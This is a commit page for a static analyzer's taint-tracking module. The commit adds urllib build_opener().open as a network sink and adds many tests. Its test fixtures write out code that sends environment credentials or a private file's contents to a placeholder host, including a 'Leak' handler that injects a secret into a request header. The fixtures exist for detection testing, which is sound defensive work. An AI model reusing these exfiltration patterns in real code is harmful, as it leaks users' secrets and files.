Skip to content

Commit d62606b

Browse files
yashrajp22yashrajp22
committed
merge: preserve security fixes with latest review branch
Signed-off-by: yashrajbasav <[email protected]>
2 parents 9e9e8a7 + 98be7bd commit d62606b

2 files changed

Lines changed: 204 additions & 0 deletions

File tree

‎src/skillspector/nodes/analyzers/behavioral_taint_tracking.py‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -128,6 +128,7 @@
128128
"httpx.patch",
129129
"httpx.get",
130130
"urllib.request.urlopen",
131+
"urllib.request.build_opener.open",
131132
"socket.socket.send",
132133
"socket.socket.sendall",
133134
"socket.socket.sendto",
@@ -303,6 +304,14 @@ def _resolve_sink_name(
303304
``importlib.import_module('subprocess').run(...)`` resolves to ``'subprocess.run'``
304305
and re-enters ``_EXEC_SINKS`` like the statically-imported form would.
305306
"""
307+
if (
308+
isinstance(node.func, ast.Attribute)
309+
and node.func.attr == "open"
310+
and isinstance(node.func.value, ast.Call)
311+
and resolve_call_name_typed(node.func.value, type_map, aliases)
312+
== "urllib.request.build_opener"
313+
):
314+
return "urllib.request.build_opener.open"
306315
name = resolve_call_name_typed(node, type_map, aliases)
307316
if name is None:
308317
name = resolve_dynamic_import_call(node, aliases)

‎tests/nodes/analyzers/test_behavioral_taint_tracking.py‎

Lines changed: 195 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,8 @@
2020
import json
2121
import time
2222

23+
import pytest
24+
2325
from skillspector.nodes.analyzers import behavioral_taint_tracking
2426
from skillspector.nodes.analyzers.common import build_type_map
2527
from skillspector.nodes.deduplicate import deduplicate
@@ -125,6 +127,199 @@ def test_getenv_to_httpx(self):
125127
assert len(tt3) >= 1
126128

127129

130+
# ── Inline urllib opener network sinks ────────────────────────────────
131+
132+
133+
class TestInlineUrllibOpener:
134+
"""Inline and stored urllib openers follow existing name-based sink policy."""
135+
136+
@pytest.mark.parametrize(
137+
("imports", "factory"),
138+
[
139+
("import urllib.request", "urllib.request.build_opener"),
140+
("import urllib.request as ur", "ur.build_opener"),
141+
("from urllib import request as ur", "ur.build_opener"),
142+
("from urllib.request import build_opener as make", "make"),
143+
],
144+
)
145+
@pytest.mark.parametrize("payload", ["request", "direct", "variable"])
146+
def test_credential_to_inline_opener(self, imports, factory, payload):
147+
prefix = f"import os\n{imports}\n"
148+
if payload == "request":
149+
# .get() isolates the missing sink from the separate nested-subscript gap.
150+
prefix += (
151+
"import urllib.request\n"
152+
'req = urllib.request.Request("https://example.invalid", '
153+
'headers={"Authorization": "Bearer " + os.environ.get("KEY")})\n'
154+
)
155+
args = "req"
156+
elif payload == "direct":
157+
args = '"https://example.invalid", data=os.getenv("KEY")'
158+
else:
159+
prefix += 'secret = os.environ["KEY"]\n'
160+
args = '"https://example.invalid", data=secret'
161+
findings = _run(prefix + f"{factory}().open({args})\n")
162+
tt3 = [f for f in findings if f.rule_id == "TT3"]
163+
assert len(tt3) == 1
164+
assert tt3[0].severity == "CRITICAL"
165+
assert tt3[0].file == "script.py"
166+
assert tt3[0].start_line == len(prefix.splitlines()) + 1
167+
assert "build_opener.open" in tt3[0].message
168+
assert f"{factory}().open" in tt3[0].matched_text
169+
170+
def test_handler_arguments_keep_the_network_sink(self):
171+
code = (
172+
"import os, urllib.request\n"
173+
"class NoRedirect(urllib.request.HTTPRedirectHandler):\n"
174+
" def redirect_request(self, *args):\n"
175+
" return None\n"
176+
"urllib.request.build_opener(NoRedirect()).open(\n"
177+
' "https://example.invalid", data=os.getenv("KEY"))\n'
178+
)
179+
assert "TT3" in _rule_ids(_run(code))
180+
181+
def test_file_data_to_inline_opener_is_tt4(self):
182+
code = (
183+
"import urllib.request\n"
184+
'data = open("private.txt").read()\n'
185+
'urllib.request.build_opener().open("https://example.invalid", data=data)\n'
186+
)
187+
assert "TT4" in _rule_ids(_run(code))
188+
189+
@pytest.mark.parametrize(
190+
"call",
191+
[
192+
'urllib.request.build_opener().open("https://example.invalid")',
193+
'urllib.request.build_opener().open("https://example.invalid", data=b"public")',
194+
'urllib.request.build_opener().close(os.getenv("KEY"))',
195+
'open("local.txt", "w").write(os.getenv("KEY"))',
196+
'Fake().open(os.getenv("KEY"))',
197+
],
198+
)
199+
def test_other_open_methods_and_public_payloads_are_not_tt3(self, call):
200+
code = "import os, urllib.request\n" + call + "\n"
201+
assert "TT3" not in _rule_ids(_run(code))
202+
203+
@pytest.mark.parametrize("stored", [False, True])
204+
@pytest.mark.parametrize(
205+
("imports", "factory"),
206+
[
207+
("import urllib.request", "urllib.request.build_opener"),
208+
("import urllib.request as ur", "ur.build_opener"),
209+
("from urllib import request as ur", "ur.build_opener"),
210+
("from urllib.request import build_opener as make", "make"),
211+
],
212+
)
213+
def test_stored_and_inline_opener_aliases(self, imports, factory, stored):
214+
prefix = f"import os\n{imports}\n"
215+
if stored:
216+
prefix += f"opener = {factory}()\n"
217+
call = "opener.open"
218+
else:
219+
call = f"{factory}().open"
220+
assert "TT3" in _rule_ids(_run(prefix + f'{call}(os.getenv("KEY"))\n'))
221+
222+
@pytest.mark.parametrize(
223+
"code",
224+
[
225+
'import os\ndef send():\n import urllib.request\n urllib.request.build_opener().open(os.getenv("KEY"))\n',
226+
'import os, urllib.request\ndef helper():\n import urllib.parse\nurllib.request.build_opener().open(os.getenv("KEY"))\n',
227+
'import os\nfrom urllib import request\ndef handle(request):\n pass\nrequest.build_opener().open(os.getenv("KEY"))\n',
228+
'import os\nif __name__ == "__main__":\n import urllib.request\n urllib.request.build_opener().open(os.getenv("KEY"))\n',
229+
'import os, urllib.request\nurllib.request.HTTPRedirectHandler.max_repeats = 2\nurllib.request.build_opener().open(os.getenv("KEY"))\n',
230+
'import os, urllib.request\ndef unused(urllib=None):\n pass\nurllib.request.build_opener().open(os.getenv("KEY"))\n',
231+
'import os\ndef send():\n urllib.request.build_opener().open(os.getenv("KEY"))\nimport urllib.request\n',
232+
],
233+
)
234+
def test_ordinary_import_layouts_do_not_disable_sink(self, code):
235+
assert "TT3" in _rule_ids(_run(code))
236+
237+
@pytest.mark.parametrize("stored", [False, True])
238+
@pytest.mark.parametrize(
239+
("payload", "rule"),
240+
[
241+
('data=os.getenv("KEY")', "TT3"),
242+
('data=open("private.txt").read()', "TT4"),
243+
('data=b"public"', None),
244+
],
245+
)
246+
def test_inline_and_stored_payloads_agree(self, stored, payload, rule):
247+
code = "import os, urllib.request\n"
248+
if stored:
249+
code += "opener = urllib.request.build_opener()\n"
250+
call = "opener.open"
251+
else:
252+
call = "urllib.request.build_opener().open"
253+
findings = _run(code + f'{call}("https://example.invalid", {payload})\n')
254+
if rule:
255+
assert rule in _rule_ids(findings)
256+
else:
257+
assert not {"TT3", "TT4"} & _rule_ids(findings)
258+
259+
def test_unrelated_stored_factory_is_not_a_network_sink(self):
260+
assert "TT3" not in _rule_ids(
261+
_run('import os\nopener = Fake()\nopener.open(os.getenv("KEY"))\n')
262+
)
263+
264+
@pytest.mark.parametrize(
265+
"prefix",
266+
[
267+
"def build_opener():\n return Fake()\n",
268+
"from other_module import build_opener\n",
269+
],
270+
)
271+
def test_unrelated_factory_is_not_a_network_sink(self, prefix):
272+
assert "TT3" not in _rule_ids(
273+
_run("import os\n" + prefix + 'build_opener().open(os.getenv("KEY"))\n')
274+
)
275+
276+
def test_same_line_occurrences_keep_separate_locations(self):
277+
call = 'urllib.request.build_opener().open("https://example.invalid", data=secret)'
278+
code = 'import os, urllib.request\nsecret = os.getenv("KEY")\n' + f"{call}; {call}\n"
279+
findings = [f for f in _run(code) if f.rule_id == "TT3"]
280+
assert len(findings) == 2
281+
assert len({f.start_column for f in findings}) == 2
282+
283+
def test_direct_urlopen_control_still_reports_request_payload(self):
284+
code = (
285+
"import os, urllib.request\n"
286+
'req = urllib.request.Request("https://example.invalid", '
287+
'headers={"Authorization": os.getenv("KEY")})\n'
288+
"urllib.request.urlopen(req)\n"
289+
)
290+
assert "TT3" in _rule_ids(_run(code))
291+
292+
@pytest.mark.parametrize("stored", [False, True])
293+
@pytest.mark.parametrize("credential", ["os.getenv('KEY')", "secret"])
294+
def test_handler_credentials_follow_existing_sink_policy(self, credential, stored):
295+
code = (
296+
"import os, urllib.request\n"
297+
"class Leak(urllib.request.BaseHandler):\n"
298+
" def __init__(self, value):\n"
299+
" self.value = value\n"
300+
" def http_request(self, req):\n"
301+
" req.add_header('Authorization', self.value)\n"
302+
" return req\n"
303+
"secret = os.getenv('KEY')\n"
304+
)
305+
factory = f"urllib.request.build_opener(Leak({credential}))"
306+
if stored:
307+
code += f"opener = {factory}\n"
308+
call = "opener.open"
309+
else:
310+
call = f"{factory}.open"
311+
assert "TT3" in _rule_ids(_run(code + f"{call}('https://example.invalid')\n"))
312+
313+
def test_keyword_request_argument_is_checked(self):
314+
code = (
315+
"import os, urllib.request\n"
316+
'req = urllib.request.Request("https://example.invalid", '
317+
'headers={"Authorization": os.getenv("KEY")})\n'
318+
"urllib.request.build_opener().open(fullurl=req)\n"
319+
)
320+
assert "TT3" in _rule_ids(_run(code))
321+
322+
128323
# ── TT4: File read → network sink ──────────────────────────────────────
129324

130325

0 commit comments

Comments
 (0)